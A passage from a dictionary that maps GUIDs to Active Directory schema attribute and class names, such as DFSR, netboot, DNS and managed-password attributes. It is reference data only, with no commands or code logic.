'c5d234e5-644a-4403-a665-e26e0aef5e98': 'ms-DS-Failed-Interactive-Logon-Count-At-Last-Successful-Logon', - 'db0c90c6-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedIPAddress', - '28630eba-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name-Type', - '80b70aab-8959-4ec0-8e93-126e76df3aca': 'ms-DNS-NSEC3-Iterations', - 'ddac0cf7-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-OMT-Entry', - '0296c11c-40da-11d1-a9c0-0000f80367c1': 'Assistant', - '19405b9c-3cfa-11d1-a9c0-0000f80367c1': 'Is-Privilege-Holder', - '31f7b8b6-c9f8-4f2d-a37b-58a823030331': 'ms-DS-USN-Last-Sync-Success', - 'db0c90c7-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedFramedRoute', - 'bf967a37-0de6-11d0-a285-00aa003049e2': 'Service-Instance-Version', - '8f4e317f-28d7-442c-a6df-1f491f97b326': 'ms-DNS-DNSKEY-Record-Set-TTL', - 'bf967ab8-0de6-11d0-a285-00aa003049e2': 'Trusted-Domain', - '398f63c0-ca60-11d1-bbd1-0000f81f10c0': 'Assoc-NT-Account', - '8fb59256-55f1-444b-aacb-f5b482fe3459': 'Is-Recycled', - '78fc5d84-c1dc-3148-8984-58f792d41d3e': 'ms-DS-Value-Type-Reference', - 'bf9679d3-0de6-11d0-a285-00aa003049e2': 'Must-Contain', - 'f3a64788-5306-11d1-a9c5-0000f80367c1': 'Service-Principal-Name', - '29869b7c-64c4-42fe-97d5-fbc2fa124160': 'ms-DNS-DS-Record-Set-TTL', - 'ddac0cf6-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Vol-Entry', - '3320fc38-c379-4c17-a510-1bdf6133c5da': 'associatedDomain', - 'bf967992-0de6-11d0-a285-00aa003049e2': 'Is-Single-Valued', - 'ab5543ad-23a1-3b45-b937-9b313d5474a8': 'ms-DS-Value-Type-Reference-BL', - '80212840-4bdc-11d1-a9c4-0000f80367c1': 'Name-Service-Flags', - '7d6c0e97-7e20-11d0-afd6-00c04fd930c9': 'Setup-Command', - '03d4c32e-e217-4a61-9699-7bbc4729a026': 'ms-DNS-Signature-Inception-Offset', - '281416e2-1968-11d0-a28f-00aa003049e2': 'Type-Library', - 'f7fbfc45-85ab-42a4-a435-780e62f7858b': 'associatedName', - 'bac80572-09c4-4fa9-9ae6-7628d7adbe0e': 'jpegPhoto', - '8a0560c1-97b9-4811-9db7-dc061598965b': 'ms-DS-Optional-Feature-Flags', - 'bf9679d6-0de6-11d0-a285-00aa003049e2': 'NC-Name', - '553fd039-f32e-11d0-b0bc-00c04fd8dca6': 'Shell-Context-Menu', - 'f6b0f0be-a8e4-4468-8fd9-c3c47b8722f9': 'ms-DNS-Secure-Delegation-Polling-Period', - 'ddac0cf4-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Volume-Table', - 'fa4693bb-7bc2-4cb9-81a8-c99c43b7905e': 'attributeCertificateAttribute', - 'bf967993-0de6-11d0-a285-00aa003049e2': 'Keywords', - 'bf9679d8-0de6-11d0-a285-00aa003049e2': 'NETBIOS-Name', - '52458039-ca6a-11d0-afff-0000f80367c1': 'Shell-Property-Pages', - '3443d8cd-e5b6-4f3b-b098-659a0214a079': 'ms-DNS-Signing-Key-Descriptors', - 'bf967abb-0de6-11d0-a285-00aa003049e2': 'Volume', - 'cb843f80-48d9-11d1-a9c3-0000f80367c1': 'Attribute-Display-Names', - '1677581f-47f3-11d1-a9c3-0000f80367c1': 'Knowledge-Information', - '07383076-91df-11d1-aebc-0000f80367c1': 'netboot-Allow-New-Clients', - '45b01501-c419-11d1-bbc9-0080c76670c0': 'Short-Server-Name', - 'b7673e6d-cad9-4e9e-b31a-63e8098fdd63': 'ms-DNS-Signing-Keys', - 'bf967aa0-0de6-11d0-a285-00aa003049e2': 'Locality', - 'bf967922-0de6-11d0-a285-00aa003049e2': 'Attribute-ID', - 'c569bb46-c680-44bc-a273-e6c227d71b45': 'labeledURI', - '0738307b-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Only-Valid-Clients', - '3e74f60e-3e73-11d1-a9c0-0000f80367c1': 'Show-In-Address-Book', - '28c458f5-602d-4ac9-a77c-b3f1be503a7e': 'ms-DNS-DNSKEY-Records', - 'ad44bb41-67d5-4d88-b575-7b20674e76d8': 'PosixAccount', - 'bf967924-0de6-11d0-a285-00aa003049e2': 'Attribute-Security-GUID', - '1fbb0be8-ba63-11d0-afef-0000f80367c1': 'Last-Backup-Restoration-Time', - '0738307a-91df-11d1-aebc-0000f80367c1': 'netboot-Answer-Requests', - 'bf967984-0de6-11d0-a285-00aa003049e2': 'Show-In-Advanced-View-Only', - '285c6964-c11a-499e-96d8-bf7c75a223c6': 'ms-DNS-Parent-Has-Secure-Delegation', - '52ab8671-5709-11d1-a9c6-0000f80367c1': 'Lost-And-Found', - 'bf967925-0de6-11d0-a285-00aa003049e2': 'Attribute-Syntax', - 'bf967995-0de6-11d0-a285-00aa003049e2': 'Last-Content-Indexed', - '5643ff81-35b6-4ca9-9512-baf0bd0a2772': 'ms-FRS-Hub-Member', - '07383079-91df-11d1-aebc-0000f80367c1': 'netboot-Current-Client-Count', - '17eb4278-d167-11d0-b002-0000f80367c1': 'SID-History', - 'ba340d47-2181-4ca0-a2f6-fae4479dab2a': 'ms-DNS-Propagation-Time', - '5b6d8467-1a18-4174-b350-9cc6e7b4ac8d': 'ShadowAccount', - '9a7ad944-ca53-11d1-bbd0-0080c76670c0': 'Attribute-Types', - '52ab8670-5709-11d1-a9c6-0000f80367c1': 'Last-Known-Parent', - '92aa27e0-5c50-402d-9ec1-ee847def9788': 'ms-FRS-Topology-Pref', - '3e978921-8c01-11d0-afda-00c04fd930c9': 'Netboot-GUID', - '2a39c5b2-8960-11d1-aebc-0000f80367c1': 'Signature-Algorithms', - 'aff16770-9622-4fbc-a128-3088777605b9': 'ms-DNS-NSEC3-User-Salt', - '11b6cc94-48c4-11d1-a9c3-0000f80367c1': 'Meeting', - 'd0e1d224-e1a0-42ce-a2da-793ba5244f35': 'audio', - 'bf967996-0de6-11d0-a285-00aa003049e2': 'Last-Logoff', - '1a861408-38c3-49ea-ba75-85481a77c655': 'ms-DFSR-Version', - '532570bd-3d77-424f-822f-0d636dc6daad': 'Netboot-DUID', - '3e978924-8c01-11d0-afda-00c04fd930c9': 'Site-GUID', - '387d9432-a6d1-4474-82cd-0a89aae084ae': 'ms-DNS-NSEC3-Current-Salt', - '2a9350b8-062c-4ed0-9903-dde10d06deba': 'PosixGroup', - '6da8a4fe-0e52-11d0-a286-00aa003049e2': 'Auditing-Policy', - 'bf967997-0de6-11d0-a285-00aa003049e2': 'Last-Logon', - '78f011ec-a766-4b19-adcf-7b81ed781a4d': 'ms-DFSR-Extension', - '3e978920-8c01-11d0-afda-00c04fd930c9': 'Netboot-Initialization', - 'd50c2cdd-8951-11d1-aebc-0000f80367c1': 'Site-Link-List', - '07831919-8f94-4fb6-8a42-91545dccdad3': 'ms-Authz-Effective-Security-Policy', - 'c9010e74-4e58-49f7-8a89-5e3e2340fcf8': 'ms-COM-Partition', - 'bf967928-0de6-11d0-a285-00aa003049e2': 'Authentication-Options', - 'c0e20a04-0e5a-4ff3-9482-5efeaecd7060': 'Last-Logon-Timestamp', - 'd7d5e8c1-e61f-464f-9fcf-20bbe0a2ec54': 'ms-DFSR-RootPath', - '0738307e-91df-11d1-aebc-0000f80367c1': 'netboot-IntelliMirror-OSes', - 'd50c2cdc-8951-11d1-aebc-0000f80367c1': 'Site-List', - 'b946bece-09b5-4b6a-b25a-4b63a330e80e': 'ms-Authz-Proposed-Security-Policy', - '2517fadf-fa97-48ad-9de6-79ac5721f864': 'IpService', - '1677578d-47f3-11d1-a9c3-0000f80367c1': 'Authority-Revocation-List', - 'bf967998-0de6-11d0-a285-00aa003049e2': 'Last-Set-Time', - '90b769ac-4413-43cf-ad7a-867142e740a3': 'ms-DFSR-RootSizeInMb', - '07383077-91df-11d1-aebc-0000f80367c1': 'netboot-Limit-Clients', - '3e10944c-c354-11d0-aff8-0000f80367c1': 'Site-Object', - '8e1685c6-3e2f-48a2-a58d-5af0ea789fa0': 'ms-Authz-Last-Effective-Security-Policy', - '250464ab-c417-497a-975a-9e0d459a7ca1': 'ms-COM-PartitionSet', - 'bf96792c-0de6-11d0-a285-00aa003049e2': 'Auxiliary-Class', - '7d6c0e9c-7e20-11d0-afd6-00c04fd930c9': 'Last-Update-Sequence', - '86b9a69e-f0a6-405d-99bb-77d977992c2a': 'ms-DFSR-StagingPath', - '07383080-91df-11d1-aebc-0000f80367c1': 'netboot-Locally-Installed-OSes', - '3e10944d-c354-11d0-aff8-0000f80367c1': 'Site-Object-BL', - '80997877-f874-4c68-864d-6e508a83bdbd': 'ms-Authz-Resource-Condition', - '9c2dcbd2-fbf0-4dc7-ace0-8356dcd0f013': 'IpProtocol', - 'bf96792d-0de6-11d0-a285-00aa003049e2': 'Bad-Password-Time', - '7359a352-90f7-11d1-aebc-0000f80367c1': 'LDAP-Admin-Limits', - '250a8f20-f6fc-4559-ae65-e4b24c67aebe': 'ms-DFSR-StagingSizeInMb', - '3e978923-8c01-11d0-afda-00c04fd930c9': 'Netboot-Machine-File-Path', - '1be8f17c-a9ff-11d0-afe2-00c04fd930c9': 'Site-Server', - '62f29b60-be74-4630-9456-2f6691993a86': 'ms-Authz-Central-Access-Policy-ID', - '90df3c3e-1854-4455-a5d7-cad40d56657a': 'ms-DS-App-Configuration', - 'bf96792e-0de6-11d0-a285-00aa003049e2': 'Bad-Pwd-Count', - 'bf96799a-0de6-11d0-a285-00aa003049e2': 'LDAP-Display-Name', - '5cf0bcc8-60f7-4bff-bda6-aea0344eb151': 'ms-DFSR-ConflictPath', - '07383078-91df-11d1-aebc-0000f80367c1': 'netboot-Max-Clients', - '26d9736f-6070-11d1-a9c6-0000f80367c1': 'SMTP-Mail-Address', - '57f22f7a-377e-42c3-9872-cec6f21d2e3e': 'ms-Authz-Member-Rules-In-Central-Access-Policy', - 'cadd1e5e-fefc-4f3f-b5a9-70e994204303': 'OncRpc', - '1f0075f9-7e40-11d0-afd6-00c04fd930c9': 'Birth-Location', - '7359a353-90f7-11d1-aebc-0000f80367c1': 'LDAP-IPDeny-List', - '9ad33fc9-aacf-4299-bb3e-d1fc6ea88e49': 'ms-DFSR-ConflictSizeInMb', - '2df90d85-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-Mirror-Data-File', - '2ab0e76c-7041-11d2-9905-0000f87a57d4': 'SPN-Mappings', - '516e67cf-fedd-4494-bb3a-bc506a948891': 'ms-Authz-Member-Rules-In-Central-Access-Policy-BL', - '9e67d761-e327-4d55-bc95-682f875e2f8e': 'ms-DS-App-Data', - 'd50c2cdb-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Server-List-BL', - '03726ae7-8e7d-4446-8aae-a91657c00993': 'ms-DFSR-Enabled', - '0738307c-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-Naming-Policy', - 'bf967a39-0de6-11d0-a285-00aa003049e2': 'State-Or-Province-Name', - 'fa32f2a6-f28b-47d0-bf91-663e8f910a72': 'ms-DS-Claim-Source', - 'ab911646-8827-4f95-8780-5a8f008eb68f': 'IpHost', - 'd50c2cda-8951-11d1-aebc-0000f80367c1': 'Bridgehead-Transport-List', - 'bf96799b-0de6-11d0-a285-00aa003049e2': 'Link-ID', - 'eeed0fc8-1001-45ed-80cc-bbf744930720': 'ms-DFSR-ReplicationGroupType', - '0738307d-91df-11d1-aebc-0000f80367c1': 'netboot-New-Machine-OU', - 'bf967a3a-0de6-11d0-a285-00aa003049e2': 'Street-Address', - '92f19c05-8dfa-4222-bbd1-2c4f01487754': 'ms-DS-Claim-Source-Type', - 'cfee1051-5f28-4bae-a863-5d0cc18a8ed1': 'ms-DS-Az-Admin-Manager', - 'f87fa54b-b2c5-4fd7-88c0-daccb21d93c5': 'buildingName', - '2ae80fe2-47b4-11d0-a1a4-00c04fd930c9': 'Link-Track-Secret', - '23e35d4c-e324-4861-a22f-e199140dae00': 'ms-DFSR-TombstoneExpiryInMin', - '07383082-91df-11d1-aebc-0000f80367c1': 'netboot-SCP-BL', - '3860949f-f6a8-4b38-9950-81ecb6bc2982': 'Structural-Object-Class', - '0c2ce4c7-f1c3-4482-8578-c60d4bb74422': 'ms-DS-Claim-Is-Value-Space-Restricted', - 'd95836c3-143e-43fb-992a-b057f1ecadf9': 'IpNetwork', - 'bf96792f-0de6-11d0-a285-00aa003049e2': 'Builtin-Creation-Time', - 'bf96799d-0de6-11d0-a285-00aa003049e2': 'Lm-Pwd-History', - 'd68270ac-a5dc-4841-a6ac-cd68be38c181': 'ms-DFSR-FileFilter', - '07383081-91df-11d1-aebc-0000f80367c1': 'netboot-Server', - 'bf967a3b-0de6-11d0-a285-00aa003049e2': 'Sub-Class-Of', - 'cd789fb9-96b4-4648-8219-ca378161af38': 'ms-DS-Claim-Is-Single-Valued', - 'ddf8de9b-cba5-4e12-842e-28d8b66f75ec': 'ms-DS-Az-Application', - 'bf967930-0de6-11d0-a285-00aa003049e2': 'Builtin-Modified-Count', - 'bf96799e-0de6-11d0-a285-00aa003049e2': 'Local-Policy-Flags', - '93c7b477-1f2e-4b40-b7bf-007e8d038ccf': 'ms-DFSR-DirectoryFilter', - '2df90d84-009f-11d2-aa4c-00c04fd7d83a': 'Netboot-SIF-File', - 'bf967a3c-0de6-11d0-a285-00aa003049e2': 'Sub-Refs', - '1e5d393d-8cb7-4b4f-840a-973b36cc09c3': 'ms-DS-Generation-Id', - '72efbf84-6e7b-4a5c-a8db-8a75a7cad254': 'NisNetgroup', - 'bf967931-0de6-11d0-a285-00aa003049e2': 'Business-Category', - '80a67e4d-9f22-11d0-afdd-00c04fd930c9': 'Local-Policy-Reference', - '4699f15f-a71f-48e2-9ff5-5897c0759205': 'ms-DFSR-Schedule', - '0738307f-91df-11d1-aebc-0000f80367c1': 'netboot-Tools', - '9a7ad94d-ca53-11d1-bbd0-0080c76670c0': 'SubSchemaSubEntry', - 'a13df4e2-dbb0-4ceb-828b-8b2e143e9e81': 'ms-DS-Primary-Computer', - '860abe37-9a9b-4fa4-b3d2-b8ace5df9ec5': 'ms-DS-Az-Operation', - 'ba305f76-47e3-11d0-a1a6-00c04fd930c9': 'Bytes-Per-Minute', - 'bf9679a1-0de6-11d0-a285-00aa003049e2': 'Locale-ID', - '048b4692-6227-4b67-a074-c4437083e14b': 'ms-DFSR-Keywords', - 'bf9679d9-0de6-11d0-a285-00aa003049e2': 'Network-Address', - '963d274c-48be-11d1-a9c3-0000f80367c1': 'Super-Scope-Description', - '998c06ac-3f87-444e-a5df-11b03dc8a50c': 'ms-DS-Is-Primary-Computer-For', - '7672666c-02c1-4f33-9ecf-f649c1dd9b7c': 'NisMap', - 'bf967932-0de6-11d0-a285-00aa003049e2': 'CA-Certificate', - 'bf9679a2-0de6-11d0-a285-00aa003049e2': 'Locality-Name', - 'fe515695-3f61-45c8-9bfa-19c148c57b09': 'ms-DFSR-Flags', - 'bf9679da-0de6-11d0-a285-00aa003049e2': 'Next-Level-Store', - '963d274b-48be-11d1-a9c3-0000f80367c1': 'Super-Scopes', - 'db2c48b2-d14d-ec4e-9f58-ad579d8b440e': 'ms-Kds-KDF-AlgorithmID', - '8213eac9-9d55-44dc-925c-e9a52b927644': 'ms-DS-Az-Role', - '963d2740-48be-11d1-a9c3-0000f80367c1': 'CA-Certificate-DN', - 'd9e18316-8939-11d1-aebc-0000f80367c1': 'Localized-Description', - 'd6d67084-c720-417d-8647-b696237a114c': 'ms-DFSR-Options', - 'bf9679db-0de6-11d0-a285-00aa003049e2': 'Next-Rid', - '5245801d-ca6a-11d0-afff-0000f80367c1': 'Superior-DNS-Root', - '8a800772-f4b8-154f-b41c-2e4271eff7a7': 'ms-Kds-KDF-Param', - '904f8a93-4954-4c5f-b1e1-53c097a31e13': 'NisObject', - '963d2735-48be-11d1-a9c3-0000f80367c1': 'CA-Connect', - 'a746f0d1-78d0-11d2-9916-0000f87a57d4': 'Localization-Display-Id', - '1035a8e1-67a8-4c21-b7bb-031cdf99d7a0': 'ms-DFSR-ContentSetGuid', - '52458018-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member', - 'bf967a3f-0de6-11d0-a285-00aa003049e2': 'Supplemental-Credentials', - '1702975d-225e-cb4a-b15d-0daea8b5e990': 'ms-Kds-SecretAgreement-AlgorithmID', - '4feae054-ce55-47bb-860e-5b12063a51de': 'ms-DS-Az-Scope', - '963d2738-48be-11d1-a9c3-0000f80367c1': 'CA-Usages', - '09dcb79f-165f-11d0-a064-00aa006c33ed': 'Location', - 'e3b44e05-f4a7-4078-a730-f48670a743f8': 'ms-DFSR-RdcEnabled', - '52458019-ca6a-11d0-afff-0000f80367c1': 'Non-Security-Member-BL', - '1677588f-47f3-11d1-a9c3-0000f80367c1': 'Supported-Application-Context', - '30b099d9-edfe-7549-b807-eba444da79e9': 'ms-Kds-SecretAgreement-Param', - 'a699e529-a637-4b7d-a0fb-5dc466a0b8a7': 'IEEE802Device', - '963d2736-48be-11d1-a9c3-0000f80367c1': 'CA-WEB-URL', - 'bf9679a4-0de6-11d0-a285-00aa003049e2': 'Lock-Out-Observation-Window', - 'f402a330-ace5-4dc1-8cc9-74d900bf8ae0': 'ms-DFSR-RdcMinFileSizeInKb', - '19195a56-6da0-11d0-afd3-00c04fd930c9': 'Notification-List', - 'bf967a41-0de6-11d0-a285-00aa003049e2': 'Surname', - 'e338f470-39cd-4549-ab5b-f69f9e583fe0': 'ms-Kds-PublicKey-Length', - '1ed3a473-9b1b-418a-bfa0-3a37b95a5306': 'ms-DS-Az-Task', - 'd9e18314-8939-11d1-aebc-0000f80367c1': 'Can-Upgrade-Script', - 'bf9679a5-0de6-11d0-a285-00aa003049e2': 'Lockout-Duration', - '2cc903e2-398c-443b-ac86-ff6b01eac7ba': 'ms-DFSR-DfsPath', - 'bf9679df-0de6-11d0-a285-00aa003049e2': 'NT-Group-Members', - '037651e4-441d-11d1-a9c3-0000f80367c1': 'Sync-Attributes', - '615f42a1-37e7-1148-a0dd-3007e09cfc81': 'ms-Kds-PrivateKey-Length', - '4bcb2477-4bb3-4545-a9fc-fb66e136b435': 'BootableDevice', - '9a7ad945-ca53-11d1-bbd0-0080c76670c0': 'Canonical-Name', - 'bf9679a6-0de6-11d0-a285-00aa003049e2': 'Lockout-Threshold', - '51928e94-2cd8-4abe-b552-e50412444370': 'ms-DFSR-RootFence', - '3e97891f-8c01-11d0-afda-00c04fd930c9': 'NT-Mixed-Domain', - '037651e3-441d-11d1-a9c3-0000f80367c1': 'Sync-Membership', - '26627c27-08a2-0a40-a1b1-8dce85b42993': 'ms-Kds-RootKeyData', - '44f00041-35af-468b-b20a-6ce8737c580b': 'ms-DS-Optional-Feature', - 'd4159c92-957d-4a87-8a67-8d2934e01649': 'carLicense', - '28630ebf-41d5-11d1-a9c1-0000f80367c1': 'Lockout-Time', - '2dad8796-7619-4ff8-966e-0a5cc67b287f': 'ms-DFSR-ReplicationGroupGuid', - 'bf9679e2-0de6-11d0-a285-00aa003049e2': 'Nt-Pwd-History', - '037651e2-441d-11d1-a9c3-0000f80367c1': 'Sync-With-Object', - 'd5f07340-e6b0-1e4a-97be-0d3318bd9db1': 'ms-Kds-Version', - 'd6710785-86ff-44b7-85b5-f1f8689522ce': 'msSFU-30-Mail-Aliases', - '7bfdcb81-4807-11d1-a9c3-0000f80367c1': 'Catalogs', - 'bf9679a9-0de6-11d0-a285-00aa003049e2': 'Logo', - 'f7b85ba9-3bf9-428f-aab4-2eee6d56f063': 'ms-DFSR-DfsLinkTarget', - 'bf9679e3-0de6-11d0-a285-00aa003049e2': 'NT-Security-Descriptor', - '037651e5-441d-11d1-a9c3-0000f80367c1': 'Sync-With-SID', - '96400482-cf07-e94c-90e8-f2efc4f0495e': 'ms-Kds-DomainID', - '3bcd9db8-f84b-451c-952f-6c52b81f9ec6': 'ms-DS-Password-Settings', - '7bfdcb7e-4807-11d1-a9c3-0000f80367c1': 'Categories', - 'bf9679aa-0de6-11d0-a285-00aa003049e2': 'Logon-Count', - '261337aa-f1c3-44b2-bbea-c88d49e6f0c7': 'ms-DFSR-MemberReference', - 'bf9679e4-0de6-11d0-a285-00aa003049e2': 'Obj-Dist-Name', - 'bf967a43-0de6-11d0-a285-00aa003049e2': 'System-Auxiliary-Class', - '6cdc047f-f522-b74a-9a9c-d95ac8cdfda2': 'ms-Kds-UseStartTime', - 'e263192c-2a02-48df-9792-94f2328781a0': 'msSFU-30-Net-Id', - '7d6c0e94-7e20-11d0-afd6-00c04fd930c9': 'Category-Id', - 'bf9679ab-0de6-11d0-a285-00aa003049e2': 'Logon-Hours', - '6c7b5785-3d21-41bf-8a8a-627941544d5a': 'ms-DFSR-ComputerReference', - '26d97369-6070-11d1-a9c6-0000f80367c1': 'Object-Category', - 'e0fa1e62-9b45-11d0-afdd-00c04fd930c9': 'System-Flags', - 'ae18119f-6390-0045-b32d-97dbc701aef7': 'ms-Kds-CreateTime', - '5b06b06a-4cf3-44c0-bd16-43bc10a987da': 'ms-DS-Password-Settings-Container', - '963d2732-48be-11d1-a9c3-0000f80367c1': 'Certificate-Authority-Object', - 'bf9679ac-0de6-11d0-a285-00aa003049e2': 'Logon-Workstation', - 'adde62c6-1880-41ed-bd3c-30b7d25e14f0': 'ms-DFSR-MemberReferenceBL', - 'bf9679e5-0de6-11d0-a285-00aa003049e2': 'Object-Class', - 'bf967a44-0de6-11d0-a285-00aa003049e2': 'System-May-Contain', - '9cdfdbc5-0304-4569-95f6-c4f663fe5ae6': 'ms-Imaging-Thumbprint-Hash', - '36297dce-656b-4423-ab65-dabb2770819e': 'msSFU-30-Domain-Info', - '1677579f-47f3-11d1-a9c3-0000f80367c1': 'Certificate-Revocation-List', - 'bf9679ad-0de6-11d0-a285-00aa003049e2': 'LSA-Creation-Time', - '5eb526d7-d71b-44ae-8cc6-95460052e6ac': 'ms-DFSR-ComputerReferenceBL', - 'bf9679e6-0de6-11d0-a285-00aa003049e2': 'Object-Class-Category', - 'bf967a45-0de6-11d0-a285-00aa003049e2': 'System-Must-Contain', - '8ae70db5-6406-4196-92fe-f3bb557520a7': 'ms-Imaging-Hash-Algorithm', - 'da83fc4f-076f-4aea-b4dc-8f4dab9b5993': 'ms-DS-Quota-Container', - '2a39c5b1-8960-11d1-aebc-0000f80367c1': 'Certificate-Templates', - 'bf9679ae-0de6-11d0-a285-00aa003049e2': 'LSA-Modified-Count', - 'eb20e7d6-32ad-42de-b141-16ad2631b01b': 'ms-DFSR-Priority', - '9a7ad94b-ca53-11d1-bbd0-0080c76670c0': 'Object-Classes', - 'bf967a46-0de6-11d0-a285-00aa003049e2': 'System-Only', - '3f78c3e5-f79a-46bd-a0b8-9d18116ddc79': 'ms-DS-Allowed-To-Act-On-Behalf-Of-Other-Identity', - 'e15334a3-0bf0-4427-b672-11f5d84acc92': 'msSFU-30-Network-User', - '548e1c22-dea6-11d0-b010-0000f80367c1': 'Class-Display-Name', - 'bf9679af-0de6-11d0-a285-00aa003049e2': 'Machine-Architecture', - '817cf0b8-db95-4914-b833-5a079ef65764': 'ms-DFSR-DeletedPath', - '34aaa216-b699-11d0-afee-0000f80367c1': 'Object-Count', - 'bf967a47-0de6-11d0-a285-00aa003049e2': 'System-Poss-Superiors', - 'e362ed86-b728-0842-b27d-2dea7a9df218': 'ms-DS-ManagedPassword', - 'de91fc26-bd02-4b52-ae26-795999e96fc7': 'ms-DS-Quota-Control', - 'bf967938-0de6-11d0-a285-00aa003049e2': 'Code-Page', - 'c9b6358e-bb38-11d0-afef-0000f80367c1': 'Machine-Password-Change-Interval', - '53ed9ad1-9975-41f4-83f5-0c061a12553a': 'ms-DFSR-DeletedSizeInMb', - 'bf9679e7-0de6-11d0-a285-00aa003049e2': 'Object-Guid', - 'bf967a49-0de6-11d0-a285-00aa003049e2': 'Telephone-Number', - '0e78295a-c6d3-0a40-b491-d62251ffa0a6': 'ms-DS-ManagedPasswordId', - 'faf733d0-f8eb-4dcf-8d75-f1753af6a50b': 'msSFU-30-NIS-Map-Config', - 'bf96793b-0de6-11d0-a285-00aa003049e2': 'COM-ClassID', - 'bf9679b2-0de6-11d0-a285-00aa003049e2': 'Machine-Role', - '5ac48021-e447-46e7-9d23-92c0c6a90dfb': 'ms-DFSR-ReadOnly', - 'bf9679e8-0de6-11d0-a285-00aa003049e2': 'Object-Sid', - 'bf967a4a-0de6-11d0-a285-00aa003049e2': 'Teletex-Terminal-Identifier', - 'd0d62131-2d4a-d04f-99d9-1c63646229a4': 'ms-DS-ManagedPasswordPreviousId', - 'ce206244-5827-4a86-ba1c-1c0c386c1b64': 'ms-DS-Managed-Service-Account', - '281416d9-1968-11d0-a28f-00aa003049e2': 'COM-CLSID', - '80a67e4f-9f22-11d0-afdd-00c04fd930c9': 'Machine-Wide-Policy', - 'db7a08e7-fc76-4569-a45f-f5ecb66a88b5': 'ms-DFSR-CachePolicy', - '16775848-47f3-11d1-a9c3-0000f80367c1': 'Object-Version', - 'bf967a4b-0de6-11d0-a285-00aa003049e2': 'Telex-Number', - 'f8758ef7-ac76-8843-a2ee-a26b4dcaf409': 'ms-DS-ManagedPasswordInterval', - '1cb81863-b822-4379-9ea2-5ff7bdc6386d': 'ms-net-ieee-80211-GroupPolicy', - 'bf96793c-0de6-11d0-a285-00aa003049e2': 'COM-InterfaceID', - '0296c120-40da-11d1-a9c0-0000f80367c1': 'Managed-By', - '4c5d607a-ce49-444a-9862-82a95f5d1fcc': 'ms-DFSR-MinDurationCacheInMin', - 'bf9679ea-0de6-11d0-a285-00aa003049e2': 'OEM-Information', - '0296c121-40da-11d1-a9c0-0000f80367c1': 'Telex-Primary', - '888eedd6-ce04-df40-b462-b8a50e41ba38': 'ms-DS-GroupMSAMembership', - '281416dd-1968-11d0-a28f-00aa003049e2': 'COM-Other-Prog-Id', - '0296c124-40da-11d1-a9c0-0000f80367c1': 'Managed-Objects', - '2ab0e48d-ac4e-4afc-83e5-a34240db6198': 'ms-DFSR-MaxAgeInCacheInMin', - 'bf9679ec-0de6-11d0-a285-00aa003049e2': 'OM-Object-Class', - 'ed9de9a0-7041-11d2-9905-0000f87a57d4': 'Template-Roots', - '55872b71-c4b2-3b48-ae51-4095f91ec600': 'ms-DS-Transformation-Rules', - '99a03a6a-ab19-4446-9350-0cb878ed2d9b': 'ms-net-ieee-8023-GroupPolicy', - 'bf96793d-0de6-11d0-a285-00aa003049e2': 'COM-ProgID', - 'bf9679b5-0de6-11d0-a285-00aa003049e2': 'Manager', - '43061ac1-c8ad-4ccc-b785-2bfac20fc60a': 'ms-FVE-RecoveryPassword', - 'bf9679ed-0de6-11d0-a285-00aa003049e2': 'OM-Syntax', - '6db69a1c-9422-11d1-aebd-0000f80367c1': 'Terminal-Server', - '86284c08-0c6e-1540-8b15-75147d23d20d': 'ms-DS-Ingress-Claims-Transformation-Policy', - 'fa85c591-197f-477e-83bd-ea5a43df2239': 'ms-DFSR-LocalSettings', - '281416db-1968-11d0-a28f-00aa003049e2': 'COM-Treat-As-Class-Id', - 'bf9679b7-0de6-11d0-a285-00aa003049e2': 'MAPI-ID', - '85e5a5cf-dcee-4075-9cfd-ac9db6a2f245': 'ms-FVE-VolumeGuid', - 'ddac0cf3-af8f-11d0-afeb-00c04fd930c9': 'OMT-Guid', - 'f0f8ffa7-1191-11d0-a060-00aa006c33ed': 'Text-Country', - 'c137427e-9a73-b040-9190-1b095bb43288': 'ms-DS-Egress-Claims-Transformation-Policy', - 'ea715d30-8f53-40d0-bd1e-6109186d782c': 'ms-FVE-RecoveryInformation', - '281416de-1968-11d0-a28f-00aa003049e2': 'COM-Typelib-Id', - 'bf9679b9-0de6-11d0-a285-00aa003049e2': 'Marshalled-Interface', - '1fd55ea8-88a7-47dc-8129-0daa97186a54': 'ms-FVE-KeyPackage', - '1f0075fa-7e40-11d0-afd6-00c04fd930c9': 'OMT-Indx-Guid', - 'a8df7489-c5ea-11d1-bbcb-0080c76670c0': 'Text-Encoded-OR-Address', - 'd5006229-9913-2242-8b17-83761d1e0e5b': 'ms-DS-TDO-Egress-BL', - 'e11505d7-92c4-43e7-bf5c-295832ffc896': 'ms-DFSR-Subscriber', - '281416da-1968-11d0-a28f-00aa003049e2': 'COM-Unique-LIBID', - 'e48e64e0-12c9-11d3-9102-00c04fd91ab1': 'Mastered-By', - 'f76909bc-e678-47a0-b0b3-f86a0044c06d': 'ms-FVE-RecoveryGuid', - '3e978925-8c01-11d0-afda-00c04fd930c9': 'Operating-System', - 'ddac0cf1-af8f-11d0-afeb-00c04fd930c9': 'Time-Refresh', - '5a5661a1-97c6-544b-8056-e430fe7bc554': 'ms-DS-TDO-Ingress-BL', - '25173408-04ca-40e8-865e-3f9ce9bf1bd3': 'ms-DFS-Deleted-Link-v2', - 'bf96793e-0de6-11d0-a285-00aa003049e2': 'Comment', - 'bf9679bb-0de6-11d0-a285-00aa003049e2': 'Max-Pwd-Age', - 'aa4e1a6d-550d-4e05-8c35-4afcb917a9fe': 'ms-TPM-OwnerInformation', - 'bd951b3c-9c96-11d0-afdd-00c04fd930c9': 'Operating-System-Hotfix', - 'ddac0cf0-af8f-11d0-afeb-00c04fd930c9': 'Time-Vol-Change', - '0bb49a10-536b-bc4d-a273-0bab0dd4bd10': 'ms-DS-Transformation-Rules-Compiled', - '67212414-7bcc-4609-87e0-088dad8abdee': 'ms-DFSR-Subscription', - 'bf96793f-0de6-11d0-a285-00aa003049e2': 'Common-Name', - 'bf9679bc-0de6-11d0-a285-00aa003049e2': 'Max-Renew-Age', - 